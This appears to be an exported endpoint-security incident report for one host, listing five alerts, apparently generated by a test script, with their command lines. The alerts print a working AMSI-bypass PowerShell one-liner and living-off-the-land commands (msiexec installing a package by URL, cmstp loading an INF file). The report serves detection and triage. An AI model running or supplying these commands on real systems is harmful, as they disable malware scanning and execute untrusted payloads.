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Incident Overview

Incident ID CINC-20251220-4C62C86E
Severity Medium (70)
Status new
Alert Count 5
Host Count 1

Timeline

First Seen 2025-12-18 10:44:29
Last Seen 2025-12-18 10:45:56
Duration 0d 0h 1m
Created 2025-12-20 13:23
Updated 2026-01-13 15:14

Kill Chain Analysis

Rec... Ini... Exe... Per... Pri... Def... Cre... Dis... Lat... Col... Com... Exf... Imp...
Observed Tactics:
AI Powered IOA Execution Persistence Defense Evasion
Techniques:
Command and Scripting Interpreter PowerShell Event Triggered Execution CMSTP User Execution

Affected Hosts (1)

TEAHEE

Related Alerts (5)

Severity Status Hostname Description Tactic Command Line Time
High new TEAHEE A script meets the cloud-based behavioral machine learning model threshold for suspicious activity. Detection is based on code similarities to known malicious PowerShell scripts. AI Powered IOA powershell -c "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)" 12-18 10:45
High new TEAHEE A PowerShell script attempted to bypass Microsoft's AntiMalware Scan Interface (AMSI). PowerShell exploit kits often attempt to bypass AMSI to evade detection. Review the script. Execution powershell -c "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)" 12-18 10:45
High new TEAHEE Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Please review the installer package and any pre- or post-install actions. Persistence msiexec /q /i http://127.0.0.1/test.msi 12-18 10:45
High new TEAHEE A CMSTP.exe process appears to have been supplied with a suspicious INF file. CMSTP.exe may be abused to load and execute DLLs andor COM scriptlets SCT from remote servers. Review the command line. Defense Evasion cmstp /s /ns C:\Users\dokji\AppData\Local\Temp\test.inf 12-18 10:45
Informational new TEAHEE A process has written a known EICAR test file. Review the files written by the triggered process. Execution "python" mega_incident_generator.py --rounds 2 --interval 30 12-18 10:44